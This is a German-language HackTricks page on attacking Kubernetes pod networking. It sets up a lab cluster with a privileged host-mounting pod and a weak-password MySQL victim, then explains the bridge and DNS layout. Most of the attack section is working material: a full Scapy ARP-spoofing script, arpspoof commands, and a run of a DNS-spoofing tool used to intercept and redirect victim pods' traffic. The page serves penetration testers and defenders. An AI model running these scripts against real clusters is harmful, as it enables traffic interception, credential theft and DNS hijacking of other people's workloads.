Kubernetes Network Attacks

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks im PDF-Format herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!

• Holen Sie sich das offizielle PEASS & HackTricks-Merchandise

• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦 @carlospolopm.

• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositorys einreichen.

Einführung

In Kubernetes wird beobachtet, dass ein Standardverhalten die Herstellung von Verbindungen zwischen allen Containern auf demselben Knoten ermöglicht. Dies gilt unabhängig von den Namespace-Unterschieden. Diese Konnektivität erstreckt sich bis hinunter zur Schicht 2 (Ethernet). Diese Konfiguration birgt daher potenzielle Sicherheitsrisiken. Insbesondere eröffnet sie die Möglichkeit für einen bösartigen Container, einen ARP-Spoofing-Angriff gegen andere Container auf demselben Knoten auszuführen. Während eines solchen Angriffs kann der bösartige Container das für andere Container bestimmte Netzwerkverkehr betrügerisch abfangen oder modifizieren.

ARP-Spoofing-Angriffe beinhalten, dass der Angreifer gefälschte ARP (Address Resolution Protocol)-Nachrichten über ein lokales Netzwerk sendet. Dies führt dazu, dass die MAC-Adresse des Angreifers mit der IP-Adresse eines legitimen Computers oder Servers im Netzwerk verknüpft wird. Nach erfolgreicher Durchführung eines solchen Angriffs kann der Angreifer Daten im Transit abfangen, modifizieren oder sogar stoppen. Der Angriff wird auf Schicht 2 des OSI-Modells ausgeführt, weshalb die Standardverbindung in Kubernetes auf dieser Ebene Sicherheitsbedenken aufwirft.

Im Szenario werden 4 Maschinen erstellt:

• ubuntu-pe: Privilegierte Maschine zum Entkommen auf den Knoten und Überprüfen von Metriken (für den Angriff nicht erforderlich)

• ubuntu-attack: Bösartiger Container im Standard-Namespace

• ubuntu-victim: Opfer-Maschine im kube-system-Namespace

• mysql: Opfer-Maschine im Standard-Namespace

echo 'apiVersion: v1
kind: Pod
metadata:
name: ubuntu-pe
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-pe
securityContext:
allowPrivilegeEscalation: true
privileged: true
runAsUser: 0
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never
hostIPC: true
hostNetwork: true
hostPID: true
volumes:
- name: host-volume
hostPath:
path: /
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-attack
labels:
app: ubuntu
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-attack
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: ubuntu-victim
namespace: kube-system
spec:
containers:
- image: ubuntu
command:
- "sleep"
- "360000"
imagePullPolicy: IfNotPresent
name: ubuntu-victim
restartPolicy: Never
---
apiVersion: v1
kind: Pod
metadata:
name: mysql
spec:
containers:
- image: mysql:5.6
ports:
- containerPort: 3306
imagePullPolicy: IfNotPresent
name: mysql
env:
- name: MYSQL_ROOT_PASSWORD
value: mysql
restartPolicy: Never' | kubectl apply -f -

kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash"
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"

Grundlegendes Kubernetes-Netzwerk

Wenn Sie weitere Details zu den hier vorgestellten Netzwerkthemen wünschen, gehen Sie zu den Referenzen.

ARP

Im Allgemeinen ist das Pod-zu-Pod-Netzwerk innerhalb des Knotens über eine Bridge verfügbar, die alle Pods verbindet. Diese Bridge wird "cbr0" genannt. (Einige Netzwerkplugins installieren ihre eigene Bridge.) Der cbr0 kann auch ARP (Address Resolution Protocol) -Auflösung verarbeiten. Wenn ein eingehendes Paket bei cbr0 ankommt, kann es die Ziel-MAC-Adresse mithilfe von ARP auflösen.

Diese Tatsache impliziert, dass standardmäßig jeder Pod, der auf demselben Knoten läuft, in der Lage sein wird, mit jedem anderen Pod im selben Knoten (unabhängig vom Namespace) auf Ethernet-Ebene (Layer 2) zu kommunizieren.

Daher ist es möglich, ARP-Spoofing-Angriffe zwischen Pods im selben Knoten durchzuführen.

DNS

In Kubernetes-Umgebungen finden Sie in der Regel 1 (oder mehrere) DNS-Dienste, die normalerweise im Namespace kube-system ausgeführt werden:

kubectl -n kube-system describe services
Name:              kube-dns
Namespace:         kube-system
Labels:            k8s-app=kube-dns
kubernetes.io/cluster-service=true
kubernetes.io/name=KubeDNS
Annotations:       prometheus.io/port: 9153
prometheus.io/scrape: true
Selector:          k8s-app=kube-dns
Type:              ClusterIP
IP Families:       <none>
IP:                10.96.0.10
IPs:               10.96.0.10
Port:              dns  53/UDP
TargetPort:        53/UDP
Endpoints:         172.17.0.2:53
Port:              dns-tcp  53/TCP
TargetPort:        53/TCP
Endpoints:         172.17.0.2:53
Port:              metrics  9153/TCP
TargetPort:        9153/TCP
Endpoints:         172.17.0.2:9153

Im vorherigen Info können Sie etwas Interessantes sehen, die IP des Dienstes ist 10.96.0.10, aber die IP des Pods, auf dem der Dienst läuft, ist 172.17.0.2.

Wenn Sie die DNS-Adresse innerhalb eines Pods überprüfen, finden Sie etwas Ähnliches:

cat /etc/resolv.conf
nameserver 10.96.0.10

Jedoch weiß das Pod nicht, wie es zu dieser Adresse gelangen soll, da der Pod-Bereich in diesem Fall 172.17.0.10/26 ist.

Daher sendet das Pod die DNS-Anfragen an die Adresse 10.96.0.10, die vom cbr0 zu 172.17.0.2 übersetzt werden.

Das bedeutet, dass eine DNS-Anfrage eines Pods immer über die Bridge gehen wird, um die Service-IP in die Endpunkt-IP zu übersetzen, auch wenn der DNS-Server im selben Teilnetz wie das Pod ist.

Mit diesem Wissen und der Möglichkeit von ARP-Angriffen kann ein Pod in einem Knoten den Datenverkehr zwischen jedem Pod im Teilnetz und der Bridge abfangen und die DNS-Antworten des DNS-Servers ändern (DNS-Spoofing).

Darüber hinaus kann ein Angreifer, wenn der DNS-Server im selben Knoten wie der Angreifer ist, alle DNS-Anfragen eines Pods im Cluster abfangen (zwischen dem DNS-Server und der Bridge) und die Antworten ändern.

ARP-Spoofing in Pods im selben Knoten

Unser Ziel ist es, mindestens die Kommunikation vom ubuntu-victim zum mysql zu stehlen.

Scapy

python3 /tmp/arp_spoof.py
Enter Target IP:172.17.0.10 #ubuntu-victim
Enter Gateway IP:172.17.0.9 #mysql
Target MAC 02:42:ac:11:00:0a
Gateway MAC: 02:42:ac:11:00:09
Sending spoofed ARP responses

# Get another shell
kubectl exec -it ubuntu-attack -- bash
ngrep -d eth0

# Login from ubuntu-victim and mysql and check the unencrypted communication
# interacting with the mysql instance

arp_spoof.py

#From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py
from scapy.all import *

def getmac(targetip):
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
return targetmac

def spoofarpcache(targetip, targetmac, sourceip):
spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
send(spoofed, verbose= False)

def restorearp(targetip, targetmac, sourceip, sourcemac):
packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
send(packet, verbose=False)
print("ARP Table restored to normal for", targetip)

def main():
targetip= input("Enter Target IP:")
gatewayip= input("Enter Gateway IP:")

try:
targetmac= getmac(targetip)
print("Target MAC", targetmac)
except:
print("Target machine did not respond to ARP broadcast")
quit()

try:
gatewaymac= getmac(gatewayip)
print("Gateway MAC:", gatewaymac)
except:
print("Gateway is unreachable")
quit()
try:
print("Sending spoofed ARP responses")
while True:
spoofarpcache(targetip, targetmac, gatewayip)
spoofarpcache(gatewayip, gatewaymac, targetip)
except KeyboardInterrupt:
print("ARP spoofing stopped")
restorearp(gatewayip, gatewaymac, targetip, targetmac)
restorearp(targetip, targetmac, gatewayip, gatewaymac)
quit()

if __name__=="__main__":
main()

# To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward

ARPSpoof

apt install dsniff
arpspoof -t 172.17.0.9 172.17.0.10

DNS-Spoofing

Wie bereits erwähnt wurde, wenn Sie einen Pod im selben Knoten des DNS-Server-Pods kompromittieren, können Sie mit ARPSpoofing die Bridge und den DNS-Pod Man-in-the-Middle-Angriffe durchführen und alle DNS-Antworten modifizieren.

Sie haben ein wirklich tolles Tool und Tutorial, um dies zu testen unter https://github.com/danielsagi/kube-dnsspoof/

In unserem Szenario laden Sie das Tool im Angreifer-Pod herunter und erstellen eine **Datei mit dem Namen hosts ** mit den Domänen, die Sie spoofen möchten, wie:

cat hosts
google.com. 1.1.1.1

Führen Sie den Angriff auf die Ubuntu-Opfermaschine durch:

python3 exploit.py --direct 172.17.0.10
[*] starting attack on direct mode to pod 172.17.0.10
Bridge:  172.17.0.1 02:42:bd:63:07:8d
Kube-dns:  172.17.0.2 02:42:ac:11:00:02

[+] Taking over DNS requests from kube-dns. press Ctrl+C to stop

#In the ubuntu machine
dig google.com
[...]
;; ANSWER SECTION:
google.com.		1	IN	A	1.1.1.1

Wenn Sie versuchen, Ihr eigenes DNS-Spoofing-Skript zu erstellen, funktioniert es nicht, wenn Sie nur die DNS-Antwort ändern, da die Antwort die Quell-IP-Adresse des bösartigen Pods hat und nicht akzeptiert wird. Sie müssen ein neues DNS-Paket mit der Quell-IP-Adresse des DNS generieren, an das das Opfer die DNS-Anfrage sendet (was etwas wie 172.16.0.2 ist, nicht 10.96.0.10, das ist die IP-Adresse des K8s-DNS-Dienstes und nicht die DNS-Server-IP, mehr dazu in der Einführung).

Erfassen von Datenverkehr

Das Tool Mizu ist ein einfaches, aber leistungsstarkes API-Traffic-Viewer für Kubernetes, mit dem Sie die gesamte API-Kommunikation zwischen Microservices anzeigen können, um bei der Fehlerbehebung und der Suche nach Regressionen zu helfen. Es installiert Agenten in den ausgewählten Pods, sammelt deren Datenverkehrsinformationen und zeigt sie in einem Webserver an. Sie benötigen jedoch hohe K8s-Berechtigungen dafür (und es ist nicht sehr unauffällig).

Referenzen

• https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1

• https://blog.aquasec.com/dns-spoofing-kubernetes-clusters

Erfahren Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

• Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!

• Holen Sie sich das offizielle PEASS & HackTricks-Merch

• Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs

• Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦 @carlospolopm.

• Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.